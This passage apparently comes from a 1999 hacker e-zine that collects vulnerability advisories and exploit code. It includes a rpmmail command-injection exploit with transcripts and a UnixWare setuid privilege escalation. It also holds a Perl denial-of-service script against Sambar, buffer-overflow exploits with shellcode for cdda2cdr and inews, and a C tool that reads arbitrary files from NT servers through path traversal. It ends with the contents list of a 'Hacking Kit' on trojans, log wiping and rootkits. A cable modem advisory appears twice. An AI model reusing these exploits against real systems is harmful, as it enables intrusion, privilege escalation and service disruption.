      * Do not download programs from the Web or load programs from disks unless you trust the
      source. 
      
      Online Sources for Help 
      A variety of free anti-virus scanners are available on the Internet. To keep up with the latest
      computer virus news and to check your computer with free virus-scanning programs, visit these
      sites: 
      * McAfee Anti-Virus Center 
      http://www.mcafee.com/centers/anti-virus
      * Symantec Anti-Virus Research Center 
      http://www.symantec.com/avcenter
      * CERT Coordination Center Security Alerts 
      http://www.cert.org/nav/alerts.html 
      
      Search the archives of the Los Angeles Times for similar stories about:  Personal Computers,
      Computer Software, Computer Crime, Viruses.
      You will not be charged to look for stories, only to retrieve one. 
              
      @HWA
 
60.0  Advisory:Hybrid Network's Cable Modems
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  

      KSR[T] Security Advisories http://www.ksrt.org
      Contact Account:           ksrt@ksrt.org
      Advisory Subscription:     Send an empty message to:
                                 ksrt-advisories-subscribe@ksrt.org
      ----
      
                                                        KSR[T] Advisory #012
                                                        Date:  Oct.  6  1999
                                                        ID #:  hybr-hsmp-012
      
      Affected Program:    Hybrid Network's Cable Modems
      
      Author:              David Goldsmith <dhg@ksrt.org>
      
      Summary:             Remote attackers can anonymously reconfigure any
                           Hybrid Network's cable modem that is running HSMP.
                           This can be used to steal information and
                           login/password pairs from cable modem users.
      
      Problem Description: Hybrid Network's cable modems can be configured via
                           a UDP based protocol called HSMP.  This protocol
                           does not require any authentication to perform
                           configuration requests.  Since UDP is easily spoofed,
                           configuration changes can made anonymously.
      
      Compromise:          There are a plethora of denial of services attacks
                           involving bad configuration settings (ethernet
                           interfaces set to non-routable IP addresses, et al).
                           HSMP can also be used to configure the DNS servers
                           used by cable modem users, allowing attackers to
                           redirect cable modem subscribers to a trojan site.
      
                           More complex and theoretical attacks could involve
                           the running of actual code through the debugging
                           interface.  This might allow remote attackers to
                           deploy ethernet sniffers on the cable modem.
      
      Notes:               KSR[T] found this vulnerability in parallel with
                           Paul S. Cosis <sili@l0pht.com> and the l0pht.  We
                           would like to thank them for their input to this
                           advisory.
      
      Patch/Fix:           Cable providers should block out HSMP traffic
                           (7777/udp) on their firewalls.
      
      Links:               KSR[T] had initially written a demonstration
                           HSMP client which is located at:
      
                           http://www.ksrt.org/ksrt-hsmp.tar.gz
      
                           There is also another HSMP client located at:
      
                           http://www.larsshack.org/sw/ccm/
      
                           l0pht modified the above client and added
                           the ability to spoof the source address, allowing
                           for the anonymous reconfiguration of Hybrid cable
                           modems). Their client is located at:
      
                           http://c0re.l0pht.com/~sili/ccm-spoof.tar.gz
      KSR[T] Security Advisories http://www.ksrt.org
      Contact Account:           ksrt@ksrt.org
      Advisory Subscription:     Send an empty message to:
                                 ksrt-advisories-subscribe@ksrt.org
      ----
      
                                                        KSR[T] Advisory #012
                                                        Date:  Oct.  6  1999
                                                        ID #:  hybr-hsmp-012
      
      Affected Program:    Hybrid Network's Cable Modems
      
      Author:              David Goldsmith <dhg@ksrt.org>
      
      Summary:             Remote attackers can anonymously reconfigure any
                           Hybrid Network's cable modem that is running HSMP.
                           This can be used to steal information and
                           login/password pairs from cable modem users.
      
      Problem Description: Hybrid Network's cable modems can be configured via
                           a UDP based protocol called HSMP.  This protocol
                           does not require any authentication to perform
                           configuration requests.  Since UDP is easily spoofed,
                           configuration changes can made anonymously.
      
      Compromise:          There are a plethora of denial of services attacks
                           involving bad configuration settings (ethernet
                           interfaces set to non-routable IP addresses, et al).
                           HSMP can also be used to configure the DNS servers
                           used by cable modem users, allowing attackers to
                           redirect cable modem subscribers to a trojan site.
      
                           More complex and theoretical attacks could involve
                           the running of actual code through the debugging
                           interface.  This might allow remote attackers to
                           deploy ethernet sniffers on the cable modem.
      
      Notes:               KSR[T] found this vulnerability in parallel with
                           Paul S. Cosis <sili@l0pht.com> and the l0pht.  We
                           would like to thank them for their input to this
                           advisory.
      
      Patch/Fix:           Cable providers should block out HSMP traffic
                           (7777/udp) on their firewalls.
      
      Links:               KSR[T] had initially written a demonstration
                           HSMP client which is located at:
      
                           http://www.ksrt.org/ksrt-hsmp.tar.gz
      
                           There is also another HSMP client located at:
      
                           http://www.larsshack.org/sw/ccm/
      
                           l0pht modified the above client and added
                           the ability to spoof the source address, allowing
                           for the anonymous reconfiguration of Hybrid cable
                           modems). Their client is located at:
      
                           http://c0re.l0pht.com/~sili/ccm-spoof.tar.gz

       @HWA
       
61.0  Faulty software:Omni-NFS/X Enterprise version 6.1
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

      Faulty software
      ---------------
      
      Omni-NFS/X Enterprise version 6.1
      
      Product
      ---------
      
      Omni-NFS/X Enterprise  is a X, NFS server solution for win32 systems.
      It is written by XLink Technology ( http://www.xlink.com ) .
      
      Vulnerability
      -------------
      
      The nfs daemon ( nfsd.exe ) used by Omni-NFS/X will jump to 100% cpu usage
      if you scan it
      using nmap with ether the -O (OS detect ) or the -sS ( TCP SYN (half open) )
      .
      
      Example :
      
      (zorkeres@rh-mindlab)(Omni-X)(06/10/99) (1007)
      $ nmap -O -p 111 slacky
      
      Starting nmap V. 2.3BETA5 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
      Interesting ports on slacky (192.168.1.2):
      Port    State       Protocol  Service
      111     open        tcp       sunrpc
      
      TCP Sequence Prediction: Class=trivial time dependency
                               Difficulty=2 (Trivial joke)
      Remote operating system guess: Windows NT4 / Win95 / Win98
      
      Nmap run completed -- 1 IP address (1 host up) scanned in 1 second
      (zorkeres@rh-mindlab)(Omni-X)(06/10/99) (1008)
      $
      
      This was tested on  Microsoft Windows NT 4.0 Workstation with SP5 .
      I'm preaty sure all their NFS solutions are affected by this.
      
      ------------------------------------------------
      Sacha Faust sfaust@isi-mtl.com
      "He who despairs of the human condition is a coward, but he who has hope for
      it is a fool. " - Albert Camus
      
      @HWA          
      
62.0  A vulnerability exists in the rpmmail package distributed on the Red Hat 6.
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      
      Greetings,
      
      A vulnerability exists in the rpmmail package distributed on the Red Hat 6.0
      Extra Applications CD.  The potential compromise for this bug could be remote
      or local root or simply remote command execution as "nobody" or similar, 
      depending on your system configuration.
      
      By sending a carefully crafted mail message to rpmmail@vulnerablehost, you can
       get /home/rpmmail/rpmmail (suid root by default, exec'd by .forward remotely)
       to system(3) any command you wish. The command executed does not  necessarily
      have root privs because of bash's handling of euid != uid of  caller. Although
      system(3) calls /bin/sh -c, it is linked by default (can  anyone verify
      these?) on some Linux systems, such as SuSE 6.2, to /bin/bash v2.  From the 
      system(3) man page:
      
             system() will not, in fact, work properly from  programs  
             with suid or sgid privileges on systems on which
             /bin/sh is bash version 2, since bash 2  drops  privileges
             on  startup.   (Debian uses a modified bash which does not
             do this when invoked as sh.)
        
      Thus some systems with rpmmail installed are vulnerable to local/remote root, 
      all others to remote command execution as an unpriv'd user.
      
      The local exploit as follows:
      
      /bin/sh is linked to /bin/bash (default SuSE 6.2 behavior:
      bash-2.03$ ls -la /bin/sh
      lrwxrwxrwx   1 root     root            9 Oct  5 11:27 /bin/sh -> /bin/bash
      bash-2.03$ cat /etc/SuSE-release;uname -a;id
      SuSE Linux 6.2 (i386)
      VERSION = 6.2
      Linux fear62 2.2.10 #1 Tue Jul 20 16:32:24 MEST 1999 i686 unknown
      uid=100(xnec) gid=100(users) groups=100(users)
      bash-2.03$ echo "From: ;/usr/bin/id;" | /home/rpmmail/rpmmail -c bah
      Could not open config file!
      sh: Y: command not found
      uid=100(xnec) gid=100(users) groups=100(users)
      Could not open acknowledge file!
      bash-2.03$
      
      ----
      
      After linking /bin/sh to /bin/ksh instead:
      
      bash-2.03$ ls -la /bin/sh
      lrwxrwxrwx   1 root     root            8 Oct  5 11:09 /bin/sh -> /bin/ksh
      bash-2.03$ cat /etc/SuSE-release;uname -a;id
      SuSE Linux 6.2 (i386)
      VERSION = 6.2
      Linux fear62 2.2.10 #1 Tue Jul 20 16:32:24 MEST 1999 i686 unknown
      uid=100(xnec) gid=100(users) groups=100(users)
      bash-2.03$ echo "From: ;/usr/bin/id;" | /home/rpmmail/rpmmail -c bah
      Could not open config file!
      sh: Y: not found
      uid=100(xnec) gid=100(users) euid=0(root) egid=0(root) groups=100(users)
      Could not open acknowledge file!
      bash-2.03$
      
      
      
      The remote exploit is merely:
      bash-2.03$ telnet localhost 25
      Trying 127.0.0.1...
      Connected to localhost.
      Escape character is '^]'.
      220 fear62 Smail-3.2 (#1 1999-Jul-23) ready at Tue, 5 Oct 1999 11:31:13 -0500
      (CDT)
      MAIL FROM: ;/command/to/execute;
      250 <;/command/to/execute;> ... Sender Okay
      RCPT TO: rpmmail
      250 <rpmmail> ... Recipient Okay
      data
      354 Enter mail, end with "." on a line by itself
      .
      250 Mail accepted
      quit
      
      A remote scan of vulnerable hosts for this problem would be simple as well, 
      since EXPN can be used to verify the existence of the .forward file:
      
      220 fear62 Smail-3.2 (#1 1999-Jul-23) ready at Tue, 5 Oct 1999 11:38:44 -0500
      (CDT)
      EXPN rpmmail
      250 "| /home/rpmmail/rpmmail -c /home/rpmmail/rpmmail.conf"
      
      Brock Tellier
      UNIX Systems Administrator
      
      
      ____________________________________________________________________
      Get free email and a permanent address at http://www.netaddress.com/?N=1
      
      @HWA      
      
63.0  A vulnerability exists in the /usr/lib/merge/dos7utils program
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
      
      Greetings,
      
      A vulnerability exists in the /usr/lib/merge/dos7utils program (suid root by
      default) which allows any user to execute any command as root.  The dos7utils
      program gets its localeset.sh exec path from the environment variable
      STATICMERGE.  By setting this to a directory writable by us and setting the -f
      switch, we can have dos7utils run our program as follows:
      
      
      bash-2.02$ uname -a; id; pwd
      UnixWare fear71 5 7.1.0 i386 x86at SCO UNIX_SVR5
      uid=101(xnec) gid=1(other)
      /usr/lib/merge
      bash-2.02$ export STATICMERGE=/tmp
      bash-2.02$ cat > /tmp/localeset.sh
      #!/bin/sh
      id
      bash-2.02$ chmod 700 /tmp/localeset.sh 
      bash-2.02$ ./dos7utils -f bah
      uid=0(root) gid=1(other)
      groups=0(root),1(other),2(bin),3(sys),4(adm),5(uucp),6(mail),7(tty),8(audit),10(nuucp),12(daemon),23(cron),25(dtadmin),47(priv),9(lp)
      bash-2.02$ 
      ----
      
      Searching through the securityfocus vulnerability archives yields 0 matches
      for search string "unixware", but several for "openserver".  I thought this
      was rather strange, considering that SCO is discontinuing OpenServer after
      5.0.5 in favor of the much more reliable (though not security-wise, evidently)
      UnixWare 7.  And so begins my audit of the virgin Unixware 7 so soon after my
      incomplete audit of SCO 5.0.5.
      
      Brock Tellier
      UNIX Systems Administrator
      
      ____________________________________________________________________
      Get free email and a permanent address at http://www.netaddress.com/?N=1
      
      @HWA      
      
64.0  Sambar HTTP-Server DoS attack
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

      While testing the security of the Sambar HTTP-Server I found it vulnerable
      to a simple DOS attack. Sending a "GET XXXX(...a lot of Xs..)XXXX HTTP/1.0"
      crashes the Server. It will die WITHOUT logging the attack.
      
      My testing-environment:
      
      Sambar 4.2.1
      M$IE 5.0 (de)
      Windows 95 C (de)
      
      Sample exploit code follows.
      
      Dennis Conrad (dennis@linuxstart.com)
      
      --------------------
      
      #!/usr/bin/perl
      
      #########
      # Sample DOS against the Sambar HTTP-Server
      # This was tested against Sambar 4.2.1 running on Windows95 C
      # This attack will NOT be logged! Only use it to determine if
      # your Server is vulnerable!
      #
      # Dennis Conrad (dennis@linuxstart.com)
      #
      
      use IO::Socket;
      
      print "+++++++++\n";
      print "+ Simple DOS-attack against the Sambar HTTP-Server (tested 4.2.1)\n";
      print "+ Found on the 3rd of October 1999 by dennis\@linuxstart.com\n\n";
      
      if ($#ARGV != 0) {
              die "+ Please give the host address as argument\n"
      }
      
      opensocket ("\n");
      print $remote "GET " . "X" x 99999999999999999999 . " HTTP/1.0\n\n";
      close $remote;
      
      opensocket ("\n+ The server seemed to be vulnerable to this attack\n");
      close $remote;
      die "+ The server does not seem to be vulnerable to this attack\n";
      
      sub opensocket {
              $remote = IO::Socket::INET->new (
                      Proto => "tcp",
                      PeerAddr => $ARGV[0],
                      PeerPort => "http(80)",
              ) || die "+ Can't open http-port on $ARGV[0]$_[0]";
              $remote->autoflush(1)
      }
      
      # EOF
      --------------------------
      Do you do Linux? :)
      Get your FREE @linuxstart.com email address at: http://www.linuxstart.com
      
      
      @HWA
      
65.0  There is a buffer overflow vulnerability in cdda2cdr
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

      Greetings,
      
      There is a buffer overflow vulnerability in cdda2cdr distributed with (at
      least) package cdwtools-0.93-78.  This program is sgid disk by default and
      thus any malicious user who gains disk privs will have r/w access to your
      entire hard drive(s) in the form of /dev/hd*.  This is obviously a quick root
      compromise.  Fixed packages will be available soon from various vendors
      (probably by the time you read this).
      
      Note that this particular overflow does not affect cdda2wav.
      
      Brock Tellier
      UNIX Systems Administrator
      
      --- cdda2x.sh ---
      #! /bin/sh
      #
      # Shell script for Linux x86 cdda2cdr exploit
      # Brock Tellier btellier@usa.net
      #
      
      cat > /tmp/cdda2x.c <<EOF
      
      /**
       ** Linux x86 exploit for /usr/bin/cdda2cdr (sgid disk on some Linux distros)
      
       ** gcc -o cdda2x cdda2x.c; cdda2x <offset> <bufsiz>
       ** 
       ** Brock Tellier btellier@usa.net 
       **/
      
      
      #include <stdlib.h>
      #include <stdio.h>
      
      char exec[]= /* Generic Linux x86 running our /tmp program */
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/tmp/cd";
      
      
      
      #define LEN 500
      #define NOP 0x90
      
      unsigned long get_sp(void) {
      
      __asm__("movl %esp, %eax");
      
      }
      
      
      void main(int argc, char *argv[]) {
      
      int offset=0;
      int i;
      int buflen = LEN;
      long int addr;
      char buf[LEN];
      
       if(argc > 3) {
        fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
       exit(0);
       }
       else if (argc == 2){
         offset=atoi(argv[1]);
      
       }
       else if (argc == 3) {
         offset=atoi(argv[1]);
         buflen=atoi(argv[2]);
      
       }
       else {
         offset=500;
         buflen=500;
      
       }
      
      
      addr=get_sp();
      
      fprintf(stderr, "Linux x86 cdda2cdr local disk exploit\n");
      fprintf(stderr, "Brock Tellier btellier@usa.net\n");
      fprintf(stderr, "Using addr: 0x%x\n", addr+offset);
      
      memset(buf,NOP,buflen);
      memcpy(buf+(buflen/2),exec,strlen(exec));
      for(i=((buflen/2) + strlen(exec))+1;i<buflen-4;i+=4)
       *(int *)&buf[i]=addr+offset;
      
      execl("/usr/bin/cdda2cdr", "cdda2cdr", "-D", buf, NULL);
      
      
      /*
      for (i=0; i < strlen(buf); i++) putchar(buf[i]);
      */
      
      }
      
      EOF
      
      cat > /tmp/cd.c <<EOF
      void main() { 
          setregid(getegid(), getegid());
          system("/bin/bash");
      }
      EOF
      
      gcc -o /tmp/cd /tmp/cd.c
      gcc -o /tmp/cdda2x /tmp/cdda2x.c
      echo "Note that gid=6 leads to easy root access.."
      /tmp/cdda2x
      
      
      -------
      
      ____________________________________________________________________
      Get free email and a permanent address at http://www.netaddress.com/?N=1
      
      
      @HWA      
      
66.0  inews exploit , gives you the inews egid .
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

      /* inews exploit , gives you the inews egid .
      * bawd@kitetoa.com
      * greetz to nitro,shivan,rfp & Minus :)
      *
      *
      * RET addresses change between RH 5.2 ,6.0 etc..
      *
      * RH 5.2 RET = 0xbffff6f0
      * RH 6.0 RET = 0xbffff6e0 :> pretty hard to guess huhuhu..
      */
      
      #include <stdio.h>
      #include <stdlib.h>
      #include <unistd.h>
      #include <string.h>
      #define DEFAULT_OFFSET 0
      #define BUFFER_SIZE 540
      #define RET 0xbffff6f0
      
      
      
      main (int argc, char *argv[])
      {
      FILE *fp;
      int offset = 0;
      char *buff = NULL;
      int i;
      
      u_char execshell[] =
      "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
      "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
      "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
      "\xd7\xff\xff\xff/bin/sh";
      
      
      
      if (argc > 1)
      offset = atoi (argv[1]);
      
      buff = malloc (1024);
      
      if (!buff)
      {
      printf ("malloc isnt working\n");
      exit (0);
      }
      
      memset (buff, 0x90, BUFFER_SIZE);
      
      for (i = 100; i < BUFFER_SIZE - 4; i += 4)
      *(long *) &buff[i] = RET + offset;
      
      memcpy (buff + (100 - strlen (execshell)), execshell, strlen (execshell));
      
      if ((fp = fopen ("filez", "w")) != NULL)
      {
        fprintf (fp, "From: %s\nSubject: y0\nNewsgroups: yaya le chat\n\n\n\n\n", 
      buff);
        fclose (fp);
        execl ("/usr/bin/inews", "inews", "-h", "filez", NULL);
        }
      
      else {
           printf ("Couldnt open file : filez\n");
           exit (0);
           }
      
      }
      
      @HWA       
      
67.0  Shows any file from any NT Server, if it has the SHOWCODE.ASP script.
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

      /* showfile
       * Obocaman / OiOiO's Band, 1999
       *
       * Basado en un programa original de weld@l0pht.com
       * 
       * Este programa muestra cualquier fichero de un servidor NT que tenga
       * el script SHOWCODE.ASP
       *
       * This program shows any file from any NT Server, if it has the
       * SHOWCODE.ASP script.
       *
       * ATENCION: No compilar con la opción -O2 !!!!!!
       * CAUTION: Don't compile with -O2 option!!!!!
       * 
       * Uso: ./showfile server/s file
       * file must be relative to \ in the server.
       * fichero debe ser relativo al \ del servidor.
       *
       * Para ver los mensajes en castellano compilar con
       * -D_SPANISH_
       *
       * Released under GPL.
       */
       
      #include <stdio.h>
      #include <sys/socket.h>
      #include <netinet/in.h>
      #include <netdb.h>
      #include <string.h>
      #include <stdlib.h>
      #include <unistd.h>
      
      int sock;
          
      int comprueba(char *host) {
          struct sockaddr_in sin;
          struct hostent *hp;
      
          hp = gethostbyname(host);
          if (hp==NULL) {
              #ifdef _SPANISH_
              fprintf(stderr,"Host desconocido: %s\n\n",host);
              #else
              fprintf(stderr,"Unknown host: %s\n\n",host);
              #endif
              return 0;
          }
          memset((char*) &sin,0, sizeof(sin));
          memcpy((char *) &sin.sin_addr,hp->h_addr,hp->h_length);
          sin.sin_family = hp->h_addrtype;
          sin.sin_port = htons(80);
          sock = socket(AF_INET, SOCK_STREAM, 0);
          if((connect(sock,(struct sockaddr *) &sin, sizeof(sin))) < 0) {
              #ifdef _SPANISH_
              fprintf(stderr,"Hubo un error en la conexión con el host %s.\n",host);
              #else
              fprintf(stderr,"Can't connect with %s.\n",host);
              #endif
              return 0;
          }
          return 1;
      }
              
      void main(int argc, char *argv[])
      {
          char total[16384];
          char *ok=NULL;
          char *buffer;
          char *estado;
          char *test="GET /msadc/Samples/SELECTOR/showcode.asp";
          char *path="?source=/msadc/Samples/../../../../../";
          char *http=" HTTP/1.0\n\n";
          int i;
      
          fprintf(stderr,"\nshowfile, by Obocaman / OiOiO's Band. 1999\n");
          if (argc <= 2) {
              #ifdef _SPANISH_
              printf("Uso: %s <servidor/es> <fichero>\n", argv[0]);
              #else
              printf("Usage: %s <serer/s> <file>\n", argv[0]);
              #endif
              exit(1);
          }
          for(i=1;i<argc-1;i++) {
              #ifdef _SPANISH_
              fprintf(stderr,"Conectando con %s ...",argv[i]);
              #else
              fprintf(stderr,"Connecting with %s ...",argv[i]);
              #endif
              if(comprueba(argv[i])) {
                  #ifdef _SPANISH_
                  fprintf(stderr,"Conectado.\n");
                  #else
                  fprintf(stderr,"Connected.\n");
                  #endif
                  strcpy(total,test);
                  strcat(total,http);
                  #ifdef _SPANISH_
                  fprintf(stderr,"Comprobando: %s",total);
                  #else
                  fprintf(stderr,"Testing: %s",total);
                  #endif
                  send(sock,total, sizeof(total),0);
                  estado=(char *)malloc(1024);
                  read(sock,estado, 1024);
                  ok=strstr(estado,"200");
                  if(ok!=NULL) {
                      #ifdef _SPANISH_
                      fprintf(stderr,"OK, el servidor %s posee el showcode.asp\n",argv[i]);
                      #else
                      fprintf(stderr,"OK, server %s has the showcode.asp\n",argv[i]);
                      #endif
                      memset(total,0,sizeof(total));
                      strcpy(total,test);
                      strcat(total,path);
                      strcat(total,argv[argc-1]);
                      strcat(total,http);
                      #ifdef _SPANISH_
                      fprintf(stderr,"Enviando %s",total);
                      #else
                      fprintf(stderr,"Sending %s",total);
                      #endif
                      comprueba(argv[i]);
                      send(sock,total,sizeof(total),0);
                      #ifdef _SPANISH_
                      printf("\n*** Servidor: %s ***\n",argv[i]);
                      #else
                      printf("\n*** Server: %s ***\n",argv[i]);
                      #endif
                      buffer=(char *)malloc(40000);
                      while(read(sock,buffer,1)>0)
                          printf("%s",buffer);
                  }
                  else {
                      #ifdef _SPANISH_
                      fprintf(stderr,"Mal rollo, el servidor %s no tiene el showcode.asp\n",argv[i]);
                      #else
                      fprintf(stderr,"Bad news, server %s hasn't showcode.asp...\n",argv[i]);
                      #endif
                  }
                  printf("\n");
                  free(buffer);
                  free(estado);
                  close(sock);
              }
          }
      }
      
      
      @HWA      
      
68.0  The Hack kit (root kit)
      ~~~~~~~~~~~~~~~~~~~~~~~
      
      From http://blacksun.box.sk
      
      
      THIS PAPER CONTAINS .C CODE - MAKE SURE TO TURN WORD WRAP OFF! In your editor!!
      AND DO NOT SAVE ANY CHANGES TO THIS FILE IF ASKED....
      
      Unix Utils
      Linux/BSD/SySV/SunOS/IRIX/AIX/HP-UX
      
      Hacking Kit v1.0.c Jan/97
      Hacking Kit v2.0.b March/97  (this is an update)
      
        By: Invisible Evil
       IRC: #unixhacking #virus #hackers #virii #hacking #hacker
            #hack is just to busy for me ;)
      NICK: i-e
      
      If you have any other exploits, bugs, sniffers or utils that are not in here
      please mail them to ii@dormroom.pyro.net. And I will be sure to keep you
      updated with the latest version of this toolkit.
      
      Comments are welcome.  Sys admin's that want to keep their system clean are
      welcome to request the latest version.
      
      If you are looking for perfect grammar or spelling please put this file in
      your circular file.  I put enough time into this and just put it through
      a cheap spell check.
      
      Whats new?  Look for more info on tricks of the trade, and nfs mounting
      drives to gain access to shells.  I am sure you will like the additions.
      I have added a login trojan, in.telnetd trojan, and some more scripts for
      scanning machines for mountable drives.  Have pun!
      
      
      I will add a (*)  to  u p d a t e d  s e c t i o n s.
      
      
      Contents:
      
      Disclaimer
      Preface
      
      Chapter I - Unix commands you need to know
      
          1A. Basic commands
              Getting back to your home directory
              getting into a user home directory easy
              how to see what directory you are in now
              How to get a complete manual for each command
          1B. Telnet
              Unix file permissions
              Unix groups
              How to change permissions and groups
          1C. Rlogin
              .rhosts
              How to setup a .rhost file to login without a password
          1D. FTP
              Logging in to the site, but never out of the site.
              Using prompt, hash, and, bin
              Using get, put, mget, and, mput
          1E. GCC (unix compiler)
              How to get the file to the hack box without uploading it
              How to copy files to your home directory easy
              How to compile .c programs
              How to name them what you want
              How to load programs in the background while you log off
              Looking at your process with ps
      
      Chapter II - Getting started (your first account)
      
          2A. Cracking password files
              How to get hundreds of accounts with your first hacked account
              Why you only really need one password cracked on a system
              How to get the root password from the admin, on an non-exploit system
              Using A fake su program
              Doc's for the fake su program
              How to find the admin's
              How to read .bash_history
              Cracker Jack - A good password cracker
              How to use crackerjack
              Word Files
              What you will need to get started
              Hashing the word files
            * Hash file for use with cracker jack and your word list
            * Hash file for use with cracker jack and your passwd file
          2B. Talking to newbe's
              How to find the newbe's
              How to get the newbe's passwords
          2C. The hard way
              Using finger @
              What could the password be?
              Getting more info from finger
              a small .c file to use if you get on
              Writing a small perl script to do the work for you.
              How to get a domain list of all domains from rs.internic.net
              A perl script to rip the domains & put them in a sorted readable list
              How to execute the perl script
      
        * 2D. Using mount to gain access to unix systems
            * What is nfs mount
            * What you need to get started
            * How to check a system to see if you can mount their drives
            * A script to scan for systems that are nfs mountable
            * How to mount the system
            * How to unmount the system
            * A Live Demo
            * Mounting the drive
            * Viewing the user directories
            * Editing the local machine's passwd file
            * How to put a .rhosts file in one on thier users directories
            * How to rlogin to the users account
      
      Chapter III - Getting password files
      
          3A. PHF
              What is phf
              Using lynx or netscape to access phf
              Finding the user id the victims httpd (www) is running under
              How to see if you are root using phf
              How to cat the password file using phf
              Backing up the victims password file
              Changing a users password using phf
              Restoring the old passwords
              A .c file that will let you pipe commands to phf from your shell
              How to use the phf shell file
              Another way to use phf - text by quantum
              Quantum's bindwarez file
              A perl script that will try EVERY domain on the internet and log
              root access and snatch passwd files for you all day in the background.
              Doc's for the pearl script above
              Getting accounts from /var/?/messages
              A script to get the passwords for you if you can access /var/?/messages
          3B. Newbe's
              Lammer's
          3C. Getting shadow passwd files
              What is a shadow passwd
              Getting the shadow file without root access
              A .c file to cat any file without root access
          3D. Getting /etc/hosts
              Why get /etc/hosts
      
      Chapter IV - Getting the root account
      
             What to do if you can't get root on the system
         4A. Bugs
             Intro
         4B. Exploits
             The umount/mount exploit
             What are SUID perm's
             The umount .c file
             How to compile umount.c
             The lpr Linux exploit
             The lpr Linux .c exploit file
             The lpr BSD .c exploit file
             How to use lpr
             Watch the group owners with lpr
             Just use lpr for first root, then make a SUID shell
             How to make the SUID root shell for future root access (root root)
             The splitvt exploit
             The splitvt exploit .c program
             How to use the splitvt exploit program
             The sendmail 8.73 - 8.83 root exploit shell script
             How to use the sendmail exploit to get root access
      
      
      Chapter V - Making yourself invisible
      
             Keeping access
         5A. Zap2 (for wtmp/lastlog/utmp)
             Fingering the host before login
             How to login and stay safe
             How to configure Zap2
             Finding the log file locations
             The zap.c file
         5B. Other scripts
             The wted wtmp editor
             Command line usage for wted
             How to chmod the wtmp.tmp file
             How to copy the wtmp.tmp to the wtmp file
             Setting the path for the wtmp file in wted
             The wted.c file
             Cleaning the lastlog file using lled
             Command line options for lled
             How to use lled
             How to chmod the lastlog.tmp file
             How to copy the lastlog.tmp file to lastlog
             Setting the path for the lastlog file in lled
             The lled.c file
           * A good perl script for editing wtmp, utmp, and, checking processes
      Chapter VI - Cleaning the log files
      
         6A. A walk around in a hacked system - let's login
             Logging on the system
             Watching for admin's
             Nested directories
             Having your root file ready
             Becoming invisible
             Greping the log directory
             Cleaning the logs
             Lets sniff the network
             Editing your linsniffer.c
             Looking at the processes running
             Compiling and naming your sniffer program
             Starting a sniff session
             Changing group file access
             Making a suid root shell trojan for uid=0 gid=0 every time
             Naming your trojan
             Touching the files date
             Checking the sniffer log file
             Setting the history files to null
           * Using unset for the history files
         6B. messages and the syslog
             How to find the logs are by reading /etc/syslog.conf
             How to see if there are logs in hidden directories
             How to see if logs are being mailed to user accounts
             How to see if logs are going to another machine
           * How to edit syslog.conf to hide logins
           * Restarting syslogd
             How to see if there is a secret su log by reading /etc/login.defs
         6C. The xferlog
             How to edit the xferlog
             How to grep and edit the www logs
             How to look for ftp logs
           * Other ways to edit text logs
           * Using grep -v
           * A script to rip text lines from these logs
           * Restarting syslogd
         6D. The crontabs
             How to find and read the root or admin's cron
             How to see if MD5 is setup on the machine
             What is MD5
      
      Chapter VII - Keeping access to the machine
      
         7A. Tricks of the trade
             When the system admin has found you out
             What to expect from the admin
             History files
             Nested directories
             Placing trojans
             Hidden directories
             Making new commands (trojans)
             Adding or changing passwd file entry's
             Setting some admin accounts with null passwords
             The best way to add an account
             Editing a null account so you can login
             Installing more games or exploitable programs
             How to know your admin's
             Reading system mail (with out updating pointers)
             What to look for in the mail directories
             A program to read mail without updating pointers
         7B. Root kits and trojans
             What are root kits
             What are Demon kits
             What do trojans do
      
      
      *********************************************************
      * Appendix I - Things to do after access                *
      *********************************************************
        The a-z checklist
      
      *********************************************************
      * Appendix II - Hacking / Security WWW / ftp sites      *
      *********************************************************
      
      *********************************************************
      * Appendix III - More exploits for root or other access *
      *********************************************************
      
      A3-01. Vixie crontab buffer overflow for RedHat Linux
      A3-02. Root dip exploit
      A3-03. ldt - text by quantumg
      A3-04. suid perl  - text by quantumg
      A3-05. Abuse Sendmail 8.6.9
      A3-06. ttysurf - grab someone's tty
      A3-07. shadow.c  - Get shadow passwd files
      A3-08. Abuse Root Exploit (linux game program)
      A3-09. Doom (game) root exploit - makes suid root shell
      A3-10. dosmenu suid root exploit
      A3-11. Doom root killmouse exploit
      A3-12. Root exploit for resize icons
      A3-13. Root console exploit for restorefont
      A3-14. Root rxvt X server exploit
      A3-15. Root wuftpd exploit
      A3-16. A shell script called gimme, used to read any system file
      
      *********************************************************
      * Appendix IV - Other UNIX system utilities             *
      *********************************************************
      
      A4-01. Cloak v1.0 Wipes your presence on SCO, BSD, Ultrix, and HP/UX UNIX
      A4-02. invisible.c  Makes you invisible, and works on some SunOS without root
      A4-03. SySV Program that makes you invisible
      A4-04. UNIX Port scanner
      A4-05. Remove wtmp entries by tty number or username
      A4-06. SunOS wtmp editor
      A4-07. SunOS 4+ Zap your self from wtmp, utmp and lastlog
      
      
      *********************************************************
      * Appendix V - Other Unix Exploits                      *
      *********************************************************
      
      A5-01. HP-UX Root vhe_u_mnt exploit
      A5-02. IRIX Root mail exploit
      A5-03. Root cron grabber - Crontab exploit for OSF/1, AIX 3.2.5, Digital UNIX
